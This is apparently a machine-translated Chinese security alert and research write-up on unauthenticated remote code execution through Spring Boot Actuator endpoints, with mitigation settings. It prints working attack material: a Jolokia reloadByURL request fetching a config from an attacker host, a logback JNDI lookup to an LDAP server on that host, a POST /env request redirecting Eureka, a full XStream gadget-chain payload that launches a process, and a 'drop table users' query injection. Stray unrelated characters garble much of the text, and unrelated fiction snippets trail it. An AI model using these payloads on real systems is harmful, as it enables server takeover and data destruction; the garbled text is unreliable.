【漏洞預警】Spring Boot Actuator未授權(quán)訪問遠程代碼執(zhí)行漏洞

Spring Boot Actuator漏洞描述

  • 事件

2019年2月28日计盒,阿里云云盾應急響應中心監(jiān)測到有國外安全研究人員披露Spring Boot Actuator模塊中間件存在未授權(quán)訪問遠程代碼執(zhí)行漏洞井氢。

  • 漏洞描述

Actuator是Spring Boot提供的服務監(jiān)控和管理中間件膘螟,默認配置會出現(xiàn)接口未授權(quán)訪問圈膏,部分接口會泄露網(wǎng)站流量信息和內(nèi)存信息等狈癞,使用Jolokia庫特性甚至可以遠程執(zhí)行任意代碼洁灵,獲取服務器權(quán)限暮屡。

  • 漏洞評級

嚴重

  • 影響版本

全版本且無安全配置

  • 安全建議

    • 禁用所有接口,將配置改成:endpoints.enabled = false

    • 或者引入spring-boot-starter-security依賴:

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-security</artifactId>
</dependency>
  • 開啟security功能温眉,配置訪問權(quán)限驗證够话,類似配置如下:
management.port=8099
management.security.enabled=true
security.user.name=xxxxx
security.user.password=xxxxxx

二、基本原理

Spring Boot Framework包含許多稱為執(zhí)行器的功能双抽,可幫助您在將Web應用程序投入生產(chǎn)時監(jiān)視和管理Web應用程序莺掠。它們旨在用于審計露懒,運行狀況和指標收集,它們還可能在配置錯誤時打開服務器的隱藏門砂心。

當Spring Boot應用程序運行時懈词,它會自動將多個端點(例如'/ health','/ trace'辩诞,'/ beans'坎弯,'/ env'等)注冊到路由進程中。對于Spring Boot 1 - 1.4译暂,它們無需身份驗證即可訪問抠忘,從而導致嚴重的安全問題。從Spring 1.5版開始外永,默認情況下崎脉,除“/ health”和“/ info”之外的所有端點都被視為敏感和安全,但應用程序開發(fā)人員通常會禁用此安全性伯顶。

  • 以下Actuator端點可能具有安全隱患囚灼,從而導致可能的漏洞:

    • / dump - 顯示線程轉(zhuǎn)儲(包括堆棧跟蹤)
    • / trace - 顯示最后幾條HTTP消息(可能包含會話標識符)
    • / logfile - 輸出日志文件的內(nèi)容
    • / shutdown - 關(guān)閉應用程序
    • / mappings - 顯示所有MVC控制器映射
    • / env - 提供對配置環(huán)境的訪問
    • / restart - 重新啟動應用程序

對于Spring 1x,它們在根URL下注冊砾淌,并且在2x中它們移動到“/ actuator /”基本路徑啦撮。

  • 開發(fā):

大多數(shù)執(zhí)行器僅支持GET請求,只是顯示敏感的配置數(shù)據(jù)汪厨,但其中一些對于shell獵人來說特別有趣:

  • 1.通過'/ jolokia'執(zhí)行遠程代碼

如果Jolokia庫位于目標應用程序類路徑中赃春,Spring Boot會在'/ jolokia'執(zhí)行器端點下自動公開它。Jolokia允許對所有已注冊的MBean進行HTTP訪問劫乱,并且旨在執(zhí)行您可以使用JMX執(zhí)行的相同操作织中。可以使用URL列出所有可用的MBean操作:

http://127.0.0.1:8090/jolokia/list

同樣衷戈,大多數(shù)MBeans操作只是揭示了一些系統(tǒng)數(shù)據(jù)狭吼,但其中一個特別有趣:

image

Logback庫提供的“ reloadByURL ”操作允許我們從外部URL重新加載日志記錄配置。只需導航到以下內(nèi)容即可觸發(fā):

HTTP://本地主機:8090 /椒/ EXEC / ch.qos.logback.classic:名稱=默認情況下殖妇,類型= ch.qos.logback.classic.jmx.JMXConfigurator / reloadByURL / HTTP:/ /artsploit.com刁笙! /logback.xml

那么,我們?yōu)槭裁匆P(guān)心日志配置呢谦趣?主要是因為兩件事:

    1. Config具有XML格式疲吸,當然,Logback在啟用外部實體的情況下對其進行解析前鹅,因此它很容易受到盲目的XXE攻擊摘悴。
    1. Logback配置具有“從JNDI獲取變量”功能。在XML文件中舰绘,我們可以包含一個標簽蹂喻,如' <insertFromJNDI env-entry-name =“java:comp / env / appName”as =“appName”/> '葱椭,name屬性將傳遞給DirContext.lookup( ) 方法。如果我們可以在.lookup()函數(shù)中提供任意名稱口四,我們甚至不需要XXE或HeapDump孵运,因為它為我們提供了完整的遠程執(zhí)行代碼

這個怎么運作:

  • 1.攻擊者請求上述URL執(zhí)行'qos.logback.classic.jmx.JMXConfigurator'類提供的'reloadByURL'函數(shù)窃祝。
  • 2.“reloadByURL”函數(shù)從http://artsploit.com/logback.xml下載新配置并將其解析為Logback配置掐松。此惡意配置應具有以下內(nèi)容:
<configuration>
  <insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />
</configuration>
  • 3.在易受攻擊的服務器上解析此文件時,它會創(chuàng)建與“env-entry-name”參數(shù)值中指定的攻擊者控制的LDAP服務器的連接粪小,從而導致JNDI解析。惡意LDAP服務器可以返回具有“引用”類型的對象抡句,以觸發(fā)在目標應用程序上執(zhí)行所提供的字節(jié)碼探膊。這篇MicroFocus研究論文很好地解釋了JNDI攻擊。在新的JNDI開發(fā)技術(shù)(在我們的博客如前所述)也工作在這里待榔,因為Tomcat是在Spring框架啟動默認的應用程序服務器逞壁。
  • 2.通過'/ env'配置修改

如果Spring Cloud Libraries在類路徑中,則'/ env'端點允許您修改Spring環(huán)境屬性锐锣。注釋為“ @ConfigurationProperties”的所有bean 都可以修改和重新綁定腌闯。我們可以控制的許多(但不是全部)屬性列在'/ configprops'執(zhí)行器端點上。實際上雕憔,它們有很多姿骏,但是我們需要修改什么才能實現(xiàn)某些目標〗锉耍花了幾天玩他們后我們發(fā)現(xiàn)了這個:

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream

此屬性將Eureka serviceURL修改為任意值分瘦。Eureka Server通常用作發(fā)現(xiàn)服務器,幾乎所有Spring Cloud應用程序都在其中注冊并向其發(fā)送狀態(tài)更新琉苇。如果幸運的話嘲玫,目標類路徑中的Eureka-Client <1.8.7(通常包含在Spring Cloud Netflix中),則可以利用其中的XStream反序列化漏洞并扇。您需要做的就是通過'/ env' 將'eureka.client.serviceUrl.defaultZone'屬性設置為您的服務器URL(http://artsploit.com/n/xstream)去团,然后調(diào)用'/ refresh'端點。之后穷蛹,您的服務器應該使用以下內(nèi)容提供XStream有效內(nèi)容:

<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                      <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>

此XStream有效負載是Marshalsec研究中僅限ImageIO JDK的小工具鏈的略微修改版本土陪。這里唯一的區(qū)別是使用LinkedHashSet來觸發(fā)'jdk.nashorn.internal.objects.NativeString.hashCode()'方法。原始有效負載利用java.lang.Map來實現(xiàn)相同的行為俩莽,但Eureka的XStream配置有一個自定義的地圖轉(zhuǎn)換器旺坠,使其無法使用。上面的有效負載根本不使用Maps扮超,可用于實現(xiàn)遠程執(zhí)行代碼而無需額外的約束取刃。

使用Spring Actuators蹋肮,即使您無法訪問內(nèi)部Eureka服務器,也可以利用此漏洞; 您只需要一個“/ env”端點璧疗。

  • 其他有用的設置:

spring.datasource.tomcat.validationQuery = drop + table + users - 允許您指定任何SQL查詢坯辩,它將自動對當前數(shù)據(jù)庫執(zhí)行。它可以是任何語句崩侠,包括插入漆魔,更新或刪除。

image.png

spring.datasource.tomcat.url = jdbc:hsqldb:https:// localhost:3002 / xdb - 允許您修改當前的JDBC連接字符串却音。

最后一個看起來很棒改抡,但問題是當運行數(shù)據(jù)庫連接的應用程序已經(jīng)建立時,只更新JDBC字符串沒有任何效果系瓢。希望在這種情況下還有另一個屬性可以幫助我們:

spring.datasource.tomcat.max-active = 777

我們在這里可以使用的技巧是增加與數(shù)據(jù)庫的同時連接數(shù)阿纤。因此,我們可以更改JDBC連接字符串夷陋,增加連接數(shù)欠拾,然后向應用程序發(fā)送許多請求以模擬重負載。在負載下骗绕,應用程序?qū)⑹褂酶碌膼阂釰DBC字符串創(chuàng)建新的數(shù)據(jù)庫連接藐窄。我在Mysql本地測試了這種技術(shù),它就像一個魅力酬土。

image.png

除此之外荆忍,還有其他一些看起來很有趣的屬性,但實際上并沒有什么用處:

spring.datasource.url - 數(shù)據(jù)庫連接字符串(僅用于第一個連接)

spring.datasource.jndiName - 數(shù)據(jù)庫JNDI字符串(僅用于第一個連接)

spring.datasource.tomcat.dataSourceJNDI - 數(shù)據(jù)庫JNDI字符串(根本不使用)

spring.cloud.config.uri = http://artsploit.com/ - spring cloud config url(app啟動后沒有任何效果诺凡,只使用初始值东揣。)

除非調(diào)用'/ restart'端點,否則這些屬性沒有任何效果腹泌。此端點重新啟動所有ApplicationContext嘶卧,但默認情況下禁用它。

還有很多其他有趣的屬性凉袱,但大多數(shù)屬性在更改后不會立即生效芥吟。

NB在Spring Boot 2x中,通過'/ env'端點修改屬性的請求格式略有不同(它使用的是json格式)专甩,但想法是一樣的钟鸵。

易受攻擊的應用程序示例:

如果要在本地測試此漏洞,我在Github頁面上創(chuàng)建了一個簡單的Spring Boot應用程序涤躲。所有有效負載都應該在那里工作棺耍,除了數(shù)據(jù)庫設置(除非你配置它)。

黑匣子發(fā)現(xiàn):

可以在此處找到默認執(zhí)行器的完整列表:https//github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt种樱。請記住蒙袍,應用程序開發(fā)人員可以使用@Endpoint批注創(chuàng)建自己的端點俊卤。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市害幅,隨后出現(xiàn)的幾起案子消恍,更是在濱河造成了極大的恐慌,老刑警劉巖以现,帶你破解...
    沈念sama閱讀 221,576評論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件狠怨,死亡現(xiàn)場離奇詭異,居然都是意外死亡邑遏,警方通過查閱死者的電腦和手機佣赖,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,515評論 3 399
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來记盒,“玉大人茵汰,你說我怎么就攤上這事∧跫Γ” “怎么了?”我有些...
    開封第一講書人閱讀 168,017評論 0 360
  • 文/不壞的土叔 我叫張陵栏豺,是天一觀的道長彬碱。 經(jīng)常有香客問我,道長奥洼,這世上最難降的妖魔是什么巷疼? 我笑而不...
    開封第一講書人閱讀 59,626評論 1 296
  • 正文 為了忘掉前任,我火速辦了婚禮灵奖,結(jié)果婚禮上嚼沿,老公的妹妹穿的比我還像新娘。我一直安慰自己瓷患,他們只是感情好骡尽,可當我...
    茶點故事閱讀 68,625評論 6 397
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著擅编,像睡著了一般攀细。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上爱态,一...
    開封第一講書人閱讀 52,255評論 1 308
  • 那天谭贪,我揣著相機與錄音,去河邊找鬼锦担。 笑死俭识,一個胖子當著我的面吹牛,可吹牛的內(nèi)容都是我干的洞渔。 我是一名探鬼主播套媚,決...
    沈念sama閱讀 40,825評論 3 421
  • 文/蒼蘭香墨 我猛地睜開眼缚态,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了凑阶?” 一聲冷哼從身側(cè)響起猿规,我...
    開封第一講書人閱讀 39,729評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎宙橱,沒想到半個月后姨俩,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 46,271評論 1 320
  • 正文 獨居荒郊野嶺守林人離奇死亡师郑,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,363評論 3 340
  • 正文 我和宋清朗相戀三年环葵,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片宝冕。...
    茶點故事閱讀 40,498評論 1 352
  • 序言:一個原本活蹦亂跳的男人離奇死亡张遭,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出地梨,到底是詐尸還是另有隱情菊卷,我是刑警寧澤,帶...
    沈念sama閱讀 36,183評論 5 350
  • 正文 年R本政府宣布宝剖,位于F島的核電站洁闰,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏万细。R本人自食惡果不足惜扑眉,卻給世界環(huán)境...
    茶點故事閱讀 41,867評論 3 333
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望赖钞。 院中可真熱鬧腰素,春花似錦、人聲如沸雪营。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,338評論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽卓缰。三九已至计呈,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間征唬,已是汗流浹背捌显。 一陣腳步聲響...
    開封第一講書人閱讀 33,458評論 1 272
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留总寒,地道東北人扶歪。 一個月前我還...
    沈念sama閱讀 48,906評論 3 376
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親善镰。 傳聞我的和親對象是個殘疾皇子妹萨,可洞房花燭夜當晚...
    茶點故事閱讀 45,507評論 2 359

推薦閱讀更多精彩內(nèi)容